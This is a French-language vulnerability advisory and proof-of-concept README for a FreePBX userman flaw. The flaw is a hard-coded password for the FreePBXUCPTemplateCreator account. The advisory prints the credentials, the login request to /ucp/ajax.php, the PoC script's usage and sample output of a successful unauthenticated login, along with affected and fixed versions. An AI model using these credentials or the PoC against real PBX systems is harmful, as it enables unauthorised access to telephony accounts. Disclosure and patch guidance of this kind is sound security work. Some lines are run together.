
CVE-2026-46376 - Accès UCP non authentifié à FreePBX via des identifiants codés en dur
Une vulnérabilité critique dans le module de gestion des utilisateurs (userman) de FreePBX permet à des attaquants non authentifiés d'accéder au panneau de contrôle utilisateur (UCP) en utilisant des identifiants codés en dur qui sont intégrés lors du processus de configuration du modèle générique UCP.
CVSS v4.0 : 9.1 (Critique) | CWE-798 : Utilisation d'identifiants codés en dur
Divulgué : 15 mai 2026 | Rapporté par : s0nnyWT
Lorsqu'un administrateur utilise la fonctionnalité optionnelle de configuration du modèle générique UCP (introduite en 2021), un utilisateur système FreePBXUCPTemplateCreator est créé avec un mot de passe statique codé en dur. Si l'administrateur ne modifie jamais ce mot de passe après la configuration, tout utilisateur non authentifié sur le réseau peut se connecter à l'UCP avec ces identifiants.
| Champ | Valeur |
|---|
| Nom d'utilisateur | FreePBXUCPTemplateCreator |
| Mot de passe | 1a2b3c@fd48jshs03123ld |
| Source | Userman.class.php — mot de passe passé via md5() |
| Vecteur d'attaque | Réseau |
| Complexité | Faible |
| Authentification requise | Aucune |
| Interaction utilisateur | Aucune |
| Prérequis | L'administrateur doit avoir exécuté la configuration du modèle générique UCP |
Remarque : L'utilisateur
FreePBXUCPTemplateCreatorn'est créé que si un administrateur exécute explicitement la fonctionnalité de configuration du modèle générique UCP. Les systèmes sur lesquels cette configuration n'a jamais été effectuée ne sont pas exploitables via ce CVE, même s'ils exécutent une version affectée.
| Plateforme | Module userman | Affecté | Corrigé |
|---|---|---|---|
| FreePBX 15 | — | 15.0.42+ | N/A |
| FreePBX 16 | userman | ≤ 16.0.44 | 16.0.45 |
| FreePBX 17 | userman | ≤ 17.0.6 | 17.0.7 |
Le correctif randomise le mot de passe en utilisant bin2hex(random_bytes(24)) lors de l'installation/mise à niveau, et les créateurs de modèles existants voient leur mot de passe régénéré lors de la mise à niveau.
pip3 install requests
python3 poc.py <target_url>
positional arguments:
target URL cible (ex. http://192.168.1.100)
optional arguments:
-h, --help affiche ce message d'aide et quitte
--no-check ignore la vérification préalable de version
--timeout TIMEOUT délai d'attente de la requête en secondes (défaut : 15)
--method {creds,unlock,admin,all}
méthode d'exploitation à exécuter (défaut : all)
-y, --yes continue automatiquement même si la version est hors plage
POST /ucp/ajax.php avec module=User&command=login en utilisant les identifiants codés en dur?unlockkey=&templateid=$ python3 poc.py http://192.168.1.100
============================================
CVE-2026-46376 PoC - FreePBX UCP Access
Target: http://192.168.1.100
============================================
[+] Target is reachable (HTTP 200)
[+] FreePBX version: 16.0.30
[+] Version 16.0.30 is in the affected range
[+] UCP interface is accessible
============================================
Exploitation
============================================
============================================
Method 1: Hard-Coded UCP Credentials
============================================
Username: FreePBXUCPTemplateCreator
Password: 1a2b3c@fd48jshs03123ld
[+] Got CSRF token: a749bea059fa66bd32087a8481a4d07b
[+] SUCCESS! Logged in as FreePBXUCPTemplateCreator
============================================
Summary
============================================
Target is VULNERABLE
Pour vérifier si un système est exploitable, le PoC envoie une requête de connexion à POST /ucp/ajax.php avec module=User&command=login et les identifiants. Une réponse {"status":true} indique que l'utilisateur créateur de modèle existe et que le mot de passe est toujours celui par défaut.
Une réponse {"status":false,"message":"Invalid Login Credentials"} signifie que :
userman vers la version 16.0.45 (FreePBX 16) ou 17.0.7 (FreePBX 17)Ce PoC est fourni à des fins éducatives et de tests de sécurité autorisés uniquement. Toute utilisation non autorisée de cet exploit contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test est illégale. Les auteurs ne sont pas responsables de toute utilisation abusive ou des dommages causés par cet outil.